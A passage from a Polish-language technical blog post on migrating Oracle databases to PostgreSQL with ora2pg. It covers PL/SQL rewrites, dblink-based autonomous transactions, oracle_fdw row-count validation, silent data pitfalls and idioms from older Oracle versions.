  SELECT COALESCE(SUM(oi.line_total),0)            -- NVL -&amp;gt; COALESCE
    FROM orders o JOIN order_items oi ON oi.order_id=o.order_id
   WHERE o.customer_id=p_cust_id AND o.status &amp;lt;&amp;gt; 'CANCELLED';
$$;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Transakcja autonomiczna → dblink
&lt;/h3&gt;

&lt;p&gt;To jedna z najczęstszych blokad migracji. &lt;code&gt;PRAGMA AUTONOMOUS_TRANSACTION&lt;/code&gt; pozwala procedurze zatwierdzić własne zmiany niezależnie od transakcji nadrzędnej (typowo: audyt/logowanie). PostgreSQL nie ma tego mechanizmu wbudowanego — standardowe obejście to &lt;strong&gt;osobne połączenie przez &lt;code&gt;dblink&lt;/code&gt;&lt;/strong&gt;, które commituje samodzielnie:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CREATE EXTENSION IF NOT EXISTS dblink;
CREATE OR REPLACE FUNCTION log_event(p_table text, p_action text, p_details text)
RETURNS void LANGUAGE plpgsql AS $$
BEGIN
  PERFORM dblink_exec(                       -- osobne polaczenie = niezalezny commit
    'dbname=nordpol_pg host=localhost user=nordpol password=...',
    format('INSERT INTO audit_log(table_name,action,details) VALUES (%L,%L,%L)',
           p_table, p_action, p_details));
END; $$;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dwie uwagi praktyczne. Po pierwsze, hasło wpisane wprost w treść funkcji (jak wyżej, dla czytelności) to antywzorzec — w produkcji użyj pliku &lt;code&gt;.pgpass&lt;/code&gt; albo serwera &lt;code&gt;dblink&lt;/code&gt; z mapowaniem użytkownika. Po drugie, &lt;code&gt;dblink&lt;/code&gt; to nie jedyna droga: rozszerzenie &lt;strong&gt;&lt;code&gt;pg_background&lt;/code&gt;&lt;/strong&gt; realizuje to samo przez proces roboczy w tle, bez nowego połączenia i bez hasła w kodzie. &lt;code&gt;dblink&lt;/code&gt; wybiera się często dlatego, że jest w standardowej dystrybucji.&lt;/p&gt;

&lt;h3&gt;
  
  
  CONNECT BY → WITH RECURSIVE
&lt;/h3&gt;

&lt;p&gt;Hierarchiczne &lt;code&gt;CONNECT BY&lt;/code&gt; (i &lt;code&gt;SYS_CONNECT_BY_PATH&lt;/code&gt;) zamienia się na rekurencyjne wspólne wyrażenie tablicowe (CTE) — czytelniejsze i przenośne (standard SQL):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- Oracle: START WITH manager_id IS NULL CONNECT BY PRIOR employee_id = manager_id
CREATE VIEW v_org_chart AS
WITH RECURSIVE org AS (
  SELECT employee_id, manager_id, full_name, 1 AS depth, '/'||last_name AS path
    FROM employees WHERE manager_id IS NULL
  UNION ALL
  SELECT e.employee_id, e.manager_id, e.full_name, o.depth+1, o.path||'/'||e.last_name
    FROM employees e JOIN org o ON e.manager_id = o.employee_id)
SELECT employee_id, lpad(' ',(depth-1)*2)||full_name AS org_name, depth, path FROM org;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uwaga: rekurencyjne CTE nie ma gotowych odpowiedników wszystkich pseudokolumn &lt;code&gt;CONNECT BY&lt;/code&gt; (&lt;code&gt;CONNECT_BY_ROOT&lt;/code&gt;, &lt;code&gt;CONNECT_BY_ISLEAF&lt;/code&gt;, &lt;code&gt;NOCYCLE&lt;/code&gt;). Proste hierarchie przenoszą się 1:1, ale przy wykrywaniu cykli czy oznaczaniu liści trzeba dopisać logikę (np. nieś w CTE listę odwiedzonych węzłów, by zabezpieczyć się przed pętlą).&lt;/p&gt;

&lt;p&gt;Dobra wiadomość: MERGE działa&lt;/p&gt;

&lt;p&gt;Polecenie &lt;code&gt;MERGE&lt;/code&gt; (czyli &lt;em&gt;upsert&lt;/em&gt; — wstaw albo zaktualizuj) długo było argumentem „za Oracle”. Od &lt;strong&gt;PostgreSQL 15&lt;/strong&gt; jest natywne — naszą procedurę &lt;code&gt;recalc_inventory&lt;/code&gt; (prosty upsert) przenieśliśmy 1:1. (Bardziej złożony oracle’owy &lt;code&gt;MERGE&lt;/code&gt; z klauzulą &lt;code&gt;DELETE&lt;/code&gt; lub &lt;code&gt;RETURNING&lt;/code&gt; może wymagać korekty — &lt;code&gt;RETURNING&lt;/code&gt; dla &lt;code&gt;MERGE&lt;/code&gt; doszedł w PostgreSQL dopiero w wersji&amp;nbsp;17.) Mechaniczne są też &lt;code&gt;NVL→COALESCE&lt;/code&gt; i &lt;code&gt;NVL2/DECODE→CASE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pułapka: SYSDATE to nie CURRENT_DATE&lt;/p&gt;

&lt;p&gt;Kusi, żeby oracle’owe &lt;code&gt;SYSDATE&lt;/code&gt; podmienić na &lt;code&gt;CURRENT_DATE&lt;/code&gt; — i to błąd. &lt;code&gt;SYSDATE&lt;/code&gt; zwraca datę &lt;strong&gt;z godziną&lt;/strong&gt;, a &lt;code&gt;CURRENT_DATE&lt;/code&gt; w PostgreSQL — samą datę, więc po cichu obcina czas (dokładnie ta sama pułapka co przy &lt;code&gt;DATE→date&lt;/code&gt;). Poprawny odpowiednik to &lt;code&gt;LOCALTIMESTAMP&lt;/code&gt; (albo &lt;code&gt;statement_timestamp()&lt;/code&gt;/&lt;code&gt;clock_timestamp()&lt;/code&gt; zależnie od potrzeby).&lt;/p&gt;

&lt;h2&gt;
  
  
  Walidacja: te same dane, te same wyniki
&lt;/h2&gt;

&lt;p&gt;Migracja jest warta tyle, ile jej walidacja. Łączymy się z docelową bazą przez psql:&lt;/p&gt;

&lt;p&gt;bash&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ psql -h pg_host -U nordpol nordpol_pg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uruchamiamy identyczny zestaw sprawdzeń co na Oracle — pakiet &lt;code&gt;pkg_sales&lt;/code&gt;, funkcję &lt;code&gt;fn_emp_fullname&lt;/code&gt;, widok &lt;code&gt;v_customer_tiers&lt;/code&gt; i wpis w &lt;code&gt;audit_log&lt;/code&gt;. Wyniki są &lt;strong&gt;co do grosza&lt;/strong&gt; takie same — łącznie z saldem klienta liczonym przez przeniesiony pakiet, hierarchią z rekurencyjnego CTE i audytem zapisanym przez „transakcję autonomiczną” na dblink:&lt;/p&gt;

&lt;p&gt;psql nordpol_pg&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== pakiet: place_order (CALL) + get_customer_balance ===
CALL pkg_sales.place_order(10, 5, 3, 7, NULL);   -- p_order_id = 100102
 saldo_klienta_10 
------------------
       2012249.66        &amp;lt;- identycznie jak na Oracle

=== fn_emp_fullname (CASE zamiast NVL2) ===
      emp4           |      emp7
--------------------------+-----------------
 Imie4 Nazwisko4 (+5.75%) | Imie7 Nazwisko7

=== audit_log (transakcja autonomiczna przez dblink) ===
 ORDERS | INSERT | order 100102 for cust 10

=== tier klientow (fn_discount_tier w widoku) ===
   tier   | klientow 
----------+----------
 PLATYNA  |     4927
 ZLOTO    |       33
 SREBRO   |       30
 STANDARD |       10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  oracle_fdw: migracja na żywo i automatyczna walidacja
&lt;/h2&gt;

&lt;p&gt;Dla dużych baz nie zawsze chcemy przenosin na raz (metodą „wielkiego wybuchu”, z ang. &lt;em&gt;big bang&lt;/em&gt;). &lt;code&gt;oracle_fdw&lt;/code&gt; montuje tabele Oracle jako &lt;strong&gt;tabele obce&lt;/strong&gt; w PostgreSQL — można je odpytywać na żywo, ładować przyrostowo (&lt;code&gt;INSERT ... SELECT&lt;/code&gt; z tabeli obcej) i — co bardzo wygodne — &lt;strong&gt;porównać liczbę wierszy po obu stronach jednym zapytaniem&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CREATE EXTENSION oracle_fdw;
CREATE SERVER oradb FOREIGN DATA WRAPPER oracle_fdw
  OPTIONS (dbserver '//localhost:1521/FREEPDB1');
CREATE USER MAPPING FOR nordpol SERVER oradb
  OPTIONS (user 'NORDPOL', password '...');
IMPORT FOREIGN SCHEMA "NORDPOL" LIMIT TO (orders, order_items, customers)
  FROM SERVER oradb INTO ora_src;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Po zaimportowaniu schemy Oracle jako tabele obce w schemacie &lt;code&gt;ora_src&lt;/code&gt; możemy jednym zapytaniem porównać liczbę wierszy po obu stronach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- psql nordpol_pg
SELECT tabela, pg, oracle
FROM (
  SELECT 'orders'      AS tabela,
         (SELECT count(*) FROM orders)               AS pg,
         (SELECT count(*) FROM ora_src.orders)       AS oracle
  UNION ALL
  SELECT 'order_items',
         (SELECT count(*) FROM order_items),
         (SELECT count(*) FROM ora_src.order_items)
  UNION ALL
  SELECT 'customers',
         (SELECT count(*) FROM customers),
         (SELECT count(*) FROM ora_src.customers)
) t;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;psql nordpol_pg (oracle_fdw)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;=== Walidacja zgodnosci: PostgreSQL vs Oracle (przez FDW) ===
   tabela    |   pg   | oracle 
-------------+--------+--------
 orders      | 100001 | 100001
 order_items | 300001 | 300001
 customers   |   5000 |   5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kodowanie znaków — ustaw od razu&lt;/p&gt;

&lt;p&gt;Bazę docelową twórz w &lt;code&gt;UTF8&lt;/code&gt; (Oracle zwykle ma &lt;code&gt;AL32UTF8&lt;/code&gt;). Jeśli utworzysz ją jako &lt;code&gt;SQL_ASCII&lt;/code&gt;, oracle_fdw ostrzeże, że „wszystkie znaki poza ASCII zostaną utracone” — i polskie ogonki rzeczywiście przepadną.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ciche pułapki danych, które rozjeżdżają wyniki po cutoverze
&lt;/h2&gt;

&lt;p&gt;Najgroźniejsze błędy migracji nie wywalają ładowania — one przechodzą bez słowa i ujawniają się dopiero, gdy aplikacja zaczyna zwracać inne wyniki niż na Oracle. Cztery, które widuje się najczęściej:&lt;/p&gt;

&lt;p&gt;Pułapka #5 (najważniejsza): pusty string to nie NULL&lt;/p&gt;

&lt;p&gt;W Oracle pusty ciąg &lt;code&gt;''&lt;/code&gt; jest &lt;strong&gt;tożsamy z NULL&lt;/strong&gt; — to ewenement na tle standardu SQL. W PostgreSQL &lt;code&gt;''&lt;/code&gt; to poprawna, niepusta wartość, różna od NULL. Skutki są podstępne: zapytania &lt;code&gt;WHERE col IS NULL&lt;/code&gt; przestają łapać rekordy, które w Oracle były „puste”; konkatenacja &lt;code&gt;NULL||'x'&lt;/code&gt; daje w Oracle &lt;code&gt;'x'&lt;/code&gt;, a w PostgreSQL &lt;code&gt;NULL&lt;/code&gt;; kolumna &lt;code&gt;NOT NULL&lt;/code&gt; przyjmie &lt;code&gt;''&lt;/code&gt; tam, gdzie Oracle ją odrzucał. To &lt;strong&gt;najczęstsza cicha przyczyna rozjazdu danych&lt;/strong&gt;. Przed przejściem produkcyjnym znajdź takie kolumny (&lt;code&gt;UPDATE ... SET col = NULL WHERE col = ''&lt;/code&gt;) i przejrzyj logikę aplikacji oraz warunki.&lt;/p&gt;

&lt;h3&gt;
  
  
  Sortowanie i wielkość liter w identyfikatorach
&lt;/h3&gt;

&lt;p&gt;Oracle sortuje wg &lt;code&gt;NLS_SORT&lt;/code&gt; (np. &lt;code&gt;NLS_SORT=POLISH&lt;/code&gt; dla poprawnej kolejności ą,&amp;nbsp;ć,&amp;nbsp;ż), a PostgreSQL wg &lt;em&gt;collation&lt;/em&gt; systemu lub biblioteki ICU. Bez jawnego ustawienia (np. &lt;code&gt;COLLATE "pl-PL-x-icu"&lt;/code&gt;) &lt;code&gt;ORDER BY&lt;/code&gt; i indeksy unikalne mogą porządkować dane inaczej niż Oracle. Druga rzecz: niecytowane identyfikatory Oracle sprowadza do &lt;strong&gt;WIELKICH&lt;/strong&gt; liter, a PostgreSQL do &lt;strong&gt;małych&lt;/strong&gt; — obiekt utworzony jako &lt;code&gt;Orders&lt;/code&gt; żyje w Oracle jako &lt;code&gt;ORDERS&lt;/code&gt;, a w PG jako &lt;code&gt;orders&lt;/code&gt;. Kod odpytujący katalog systemowy po nazwach (albo używający cudzysłowów) trzeba ujednolicić, inaczej posypią się odwołania do tabel i kolumn.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cache sekwencji, daty brzegowe i duże obiekty
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cache sekwencji.&lt;/strong&gt; Oracle domyślnie buforuje 20 wartości (&lt;code&gt;CACHE 20&lt;/code&gt;), PostgreSQL — tylko 1. Przy intensywnych, współbieżnych wstawieniach domyślne &lt;code&gt;CACHE 1&lt;/code&gt; bywa wąskim gardłem — rozważ &lt;code&gt;ALTER SEQUENCE ... CACHE n&lt;/code&gt; dla gorących sekwencji. W obu silnikach bufor i wycofania powodują &lt;em&gt;dziury&lt;/em&gt; w numeracji — nie wolno zakładać ciągłości klucza.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Daty brzegowe.&lt;/strong&gt; W starych bazach trafiają się rekordy z datami spoza zakresu PostgreSQL lub technicznie nieprawidłowe (efekt luźniejszej walidacji Oracle), które przerywają &lt;code&gt;COPY&lt;/code&gt; komunikatem &lt;em&gt;date/time field value out of range&lt;/em&gt;. Wyłap je zapytaniem kontrolnym i oczyść lub zmapuj na NULL — inaczej jeden zły wiersz zatrzyma transfer całej tabeli.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Duże obiekty (LOB).&lt;/strong&gt; Konwersja &lt;code&gt;CLOB→text&lt;/code&gt; i &lt;code&gt;BLOB→bytea&lt;/code&gt; jest prosta, ale ładowanie bywa wąskim gardłem — ora2pg czyta LOB-y w całości do pamięci. Dwa parametry w &lt;code&gt;ora2pg.conf&lt;/code&gt; kontrolują zużycie RAM i wielkość paczki:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  # --- ora2pg.conf (fragment dla tabel z LOB-ami) ---
  LONGREADLEN   1048576   # max 1 MB na LOB (domyślnie 0 = czyta cały obiekt do pamięci)
  DATA_LIMIT    50        # wierszy w paczce COPY (domyślnie 10 000 — za dużo przy dużych LOB-ach)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tabele z LOB-ami eksportuj osobno, żeby móc dostosować oba parametry bez ruszania reszty migracji:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  ora2pg -c ora2pg.conf -t COPY \
    --allow DOCUMENTS,ATTACHMENTS \
    -o lob_tables.sql

  psql -h pg_host -U nordpol nordpol_pg -f lob_tables.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Jeśli LOB przekracza &lt;code&gt;LONGREADLEN&lt;/code&gt;, ora2pg obcina go i loguje ostrzeżenie — zwiększ limit lub usuń zbyt duże obiekty przed migracją.&lt;/p&gt;

&lt;p&gt;Dwie funkcje Oracle, które tracą na sile&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Materialized view.&lt;/strong&gt; Oracle potrafi odświeżać widok zmaterializowany &lt;em&gt;przyrostowo&lt;/em&gt; (&lt;code&gt;FAST REFRESH&lt;/code&gt; na podstawie &lt;code&gt;materialized view log&lt;/code&gt;, opcjonalnie &lt;code&gt;ON COMMIT&lt;/code&gt;). PostgreSQL ma tylko pełny &lt;code&gt;REFRESH MATERIALIZED VIEW&lt;/code&gt; — przy dużych widokach to realna różnica wydajnościowa. &lt;strong&gt;Global temporary table.&lt;/strong&gt; PostgreSQL ma tabele tymczasowe, ale brak mu &lt;em&gt;trwałej, globalnej definicji&lt;/em&gt; jak oracle’owa GTT (gdzie struktura żyje stale w słowniku, a dane są prywatne dla sesji). Obejście: zwykła tabela temp w sesji albo rozszerzenie &lt;code&gt;pgtt&lt;/code&gt;; od PG18 dochodzi częściowe wsparcie globalnych tabel tymczasowych.&lt;/p&gt;

&lt;h3&gt;
  
  
  Drobiazgi PL/SQL, które i tak trzeba ruszyć
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Obsługa wyjątków.&lt;/strong&gt; Oracle’owe nazwane wyjątki, &lt;code&gt;RAISE_APPLICATION_ERROR&lt;/code&gt; oraz &lt;code&gt;SQLCODE/SQLERRM&lt;/code&gt; zastępuje blok &lt;code&gt;EXCEPTION WHEN ...&lt;/code&gt; w PL/pgSQL z kodami &lt;code&gt;SQLSTATE&lt;/code&gt; i &lt;code&gt;GET STACKED DIAGNOSTICS&lt;/code&gt; — mapowanie błędów (np. &lt;code&gt;NO_DATA_FOUND&lt;/code&gt;, &lt;code&gt;DUP_VAL_ON_INDEX&lt;/code&gt;) trzeba przepisać ręcznie.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Diagnostyka.&lt;/strong&gt; &lt;code&gt;DBMS_OUTPUT.PUT_LINE&lt;/code&gt; → &lt;code&gt;RAISE NOTICE&lt;/code&gt; (lub funkcja &lt;code&gt;dbms_output&lt;/code&gt; z orafce).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Harmonogram zadań.&lt;/strong&gt; &lt;code&gt;DBMS_SCHEDULER/DBMS_JOB&lt;/code&gt; nie mają wbudowanego odpowiednika — używa się rozszerzenia &lt;a href="https://jsystems.pl/blog/show_post/PG_CRON_-_czyli_cykliczne_uruchamianie_zada%C5%84_w_PostgreSQL" rel="noopener noreferrer"&gt;&lt;code&gt;pg_cron&lt;/code&gt;&lt;/a&gt; (zadania zapisane w bazie, składnia crona) albo zewnętrznego &lt;code&gt;cron&lt;/code&gt;/pgAgent.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Migracja ze starszych wersji Oracle (11g, 18c, 21c)
&lt;/h2&gt;

&lt;p&gt;W realnym świecie prawie nikt nie migruje z najnowszego 26ai — migruje się z &lt;strong&gt;19c, 12c, a bardzo często z wiekowego 11g&lt;/strong&gt;, który wciąż pracuje w setkach firm. Im starsze źródło, tym więcej „archaicznych” idiomów w kodzie — i tym ważniejsze, że ora2pg je rozumie. Postawiliśmy te wersje obok siebie (Oracle 11g, 18c i 21c) i przepuściliśmy przez nie ten sam „stary” schemat.&lt;/p&gt;

&lt;h3&gt;
  
  
  Co wygląda inaczej w starym kodzie
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Klucze główne na sekwencji + triggerze&lt;/strong&gt; — 11g nie ma jeszcze kolumn &lt;code&gt;IDENTITY&lt;/code&gt; (te weszły w 12c).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Złączenia zewnętrzne operatorem &lt;code&gt;(+)&lt;/code&gt;&lt;/strong&gt; zamiast &lt;code&gt;LEFT JOIN&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Paginacja przez &lt;code&gt;ROWNUM&lt;/code&gt;&lt;/strong&gt; — brak &lt;code&gt;FETCH FIRST n ROWS&lt;/code&gt; (to też 12c).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;DECODE&lt;/code&gt;&lt;/strong&gt; wszędzie tam, gdzie dziś pisze się &lt;code&gt;CASE&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Najlepsza wiadomość: ora2pg tłumaczy te wzorce automatycznie. Operator &lt;code&gt;(+)&lt;/code&gt; — zmora wielu migracji — staje się czytelnym &lt;code&gt;LEFT JOIN&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- Oracle (styl 11g): zlaczenie (+), NVL i DECODE
CREATE OR REPLACE VIEW v_emp_dept AS
SELECT e.empno, e.ename, e.sal, NVL(d.dname,'(brak)') dname,
       DECODE(SIGN(e.sal-10000), 1,'WYSOKA', 0,'SREDNIA', 'NISKA') widelki
  FROM emp e, dept d
 WHERE e.deptno = d.deptno(+);

-- ora2pg -&amp;gt; PostgreSQL (rzeczywiste wyjscie): (+) -&amp;gt; LEFT JOIN, NVL -&amp;gt; coalesce, DECODE -&amp;gt; CASE
CREATE OR REPLACE VIEW v_emp_dept (empno, ename, sal, dname, widelki) AS
SELECT e.empno, e.ename, e.sal, coalesce(d.dname,'(brak)') dname,
       CASE WHEN SIGN(e.sal-10000)=1 THEN 'WYSOKA'
            WHEN SIGN(e.sal-10000)=0 THEN 'SREDNIA' ELSE 'NISKA' END widelki
  FROM emp e LEFT OUTER JOIN dept d ON (e.deptno = d.deptno);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Najciekawsze jest to, co pokazał raport oceny. Ten sam „stary” schemat (bez pakietów i transakcji autonomicznych) na &lt;strong&gt;wszystkich trzech wersjach — 11g, 18c i 21c — dostał identyczny poziom A-3&lt;/strong&gt; (około jednego dnia pracy). Porównaj to z naszym pełnym schematem Nordpol (B-5): o trudności migracji decyduje &lt;strong&gt;złożoność kodu PL/SQL, a nie numer wersji&lt;/strong&gt; źródła:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Źródło&lt;/th&gt;
&lt;th&gt;Charakterystyka kodu&lt;/th&gt;
&lt;th&gt;Poziom ora2pg&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Oracle 11g (11.2.0.2) XE&lt;/td&gt;
&lt;td&gt;sekwencja+trigger, (+) joiny, ROWNUM, DECODE&lt;/td&gt;
&lt;td&gt;A-3 (~1 dzień pracy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Oracle 18c XE&lt;/td&gt;
&lt;td&gt;ten sam kod aplikacyjny&lt;/td&gt;
&lt;td&gt;A-3 (~1 dzień pracy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Oracle 21c (21.0) XE&lt;/td&gt;
&lt;td&gt;ten sam kod aplikacyjny&lt;/td&gt;
&lt;td&gt;A-3 (~1 dzień pracy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Oracle 26ai — schemat Nordpol&lt;/td&gt;
&lt;td&gt;pakiety, transakcja autonomiczna, partycje, virtual cols&lt;/td&gt;
&lt;td&gt;B-5 (do 5 dni pracy)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Wniosek dla starszych baz&lt;/p&gt;

&lt;p&gt;Im starsza wersja Oracle, tym &lt;em&gt;prostszy&lt;/em&gt; bywa kod (mniej nowoczesnych funkcji do przepisania), ale tym więcej idiomów typu &lt;code&gt;(+)&lt;/code&gt; i sekwencja+trigger. ora2pg radzi sobie z nimi seryjnie. Realne ryzyko migracji nie zależy od numeru wersji — zależy od tego, ile logiki biznesowej siedzi w PL/SQL. Najpierw uruchom raport oceny, potem planuj.&lt;/p&gt;

&lt;h3&gt;
  
  
  CONNECT BY → WITH RECURSIVE — najważniejsze przepisanie dla 11g i 18c
&lt;/h3&gt;

&lt;p&gt;Zapytania hierarchiczne (&lt;code&gt;CONNECT BY PRIOR&lt;/code&gt;) są w 11g i 18c powszechne — często używane do drzew organizacyjnych i kategorii. W PostgreSQL ten sam efekt osiągasz przez &lt;code&gt;WITH RECURSIVE&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;Oracle&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SELECT emp_id, emp_name, manager_id, LEVEL
FROM   employees
START WITH  manager_id IS NULL
CONNECT BY PRIOR emp_id = manager_id
ORDER SIBLINGS BY emp_name;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PostgreSQL&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WITH RECURSIVE emp_hierarchy AS (
    -- anchor: korzenie drzewa (brak menedżera)
    SELECT emp_id, emp_name, manager_id, 1 AS lvl
    FROM   employees
    WHERE  manager_id IS NULL

    UNION ALL

    -- rekurencja: dzieci
    SELECT e.emp_id, e.emp_name, e.manager_id, h.lvl + 1
    FROM   employees e
    JOIN   emp_hierarchy h ON e.manager_id = h.emp_id
)
SELECT emp_id, emp_name, manager_id, lvl
FROM   emp_hierarchy
ORDER  BY lvl, emp_name;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ORDER SIBLINGS BY&lt;/strong&gt; nie ma bezpośredniego odpowiednika. By zachować kolejność rodzeństwa, buduj dodatkową kolumnę ścieżki (&lt;code&gt;path text[]&lt;/code&gt;) w części rekurencyjnej i sortuj po niej.&lt;/p&gt;

&lt;h3&gt;
  
  
  Konfiguracja ora2pg dla 11g&amp;nbsp;/&amp;nbsp;18c&amp;nbsp;/&amp;nbsp;21c
&lt;/h3&gt;

&lt;p&gt;Jedyna wersja-specyficzna zmiana w &lt;code&gt;ora2pg.conf&lt;/code&gt; to forma DSN. Starsze wersje XE używają &lt;code&gt;sid&lt;/code&gt;; PDB (Oracle 12c+) — &lt;code&gt;service_name&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 11g XE / 18c XE / 21c XE (non-CDB lub CDB$ROOT)
ORACLE_DSN    dbi:Oracle:host=&amp;lt;host&amp;gt;;port=1521;sid=XE

# 12c+ z PDB (pluggable database)
ORACLE_DSN    dbi:Oracle:host=&amp;lt;host&amp;gt;;port=1521;service_name=ORCLPDB1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Lista kontrolna: idiomy per wersja Oracle
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Idiom Oracle&lt;/th&gt;
&lt;th&gt;Zamiennik PostgreSQL&lt;/th&gt;
&lt;th&gt;Wersje&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;col(+) = col&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LEFT / RIGHT JOIN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11g, 18c, 21c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ROWNUM &amp;lt; N&lt;/code&gt; (pierwsze N wierszy)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LIMIT N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11g, 18c, 21c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ROWNUM&lt;/code&gt; jako numer wiersza&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ROW_NUMBER() OVER ()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11g, 18c, 21c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DECODE(x, v1, r1, …)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CASE WHEN x = v1 THEN r1 … END&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11g, 18c, 21c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CONNECT BY PRIOR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WITH RECURSIVE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11g, 18c, 21c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sekwencja + trigger (auto-ID)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GENERATED ALWAYS AS IDENTITY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;11g, 18c (brak IDENTITY)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NVL(x, y)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;COALESCE(x, y)&lt;/code&gt; — lub &lt;code&gt;NVL&lt;/code&gt; przez orafce&lt;/td&gt;
&lt;td&gt;wszystkie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SYSDATE + N&lt;/code&gt;&lt;/td&gt;
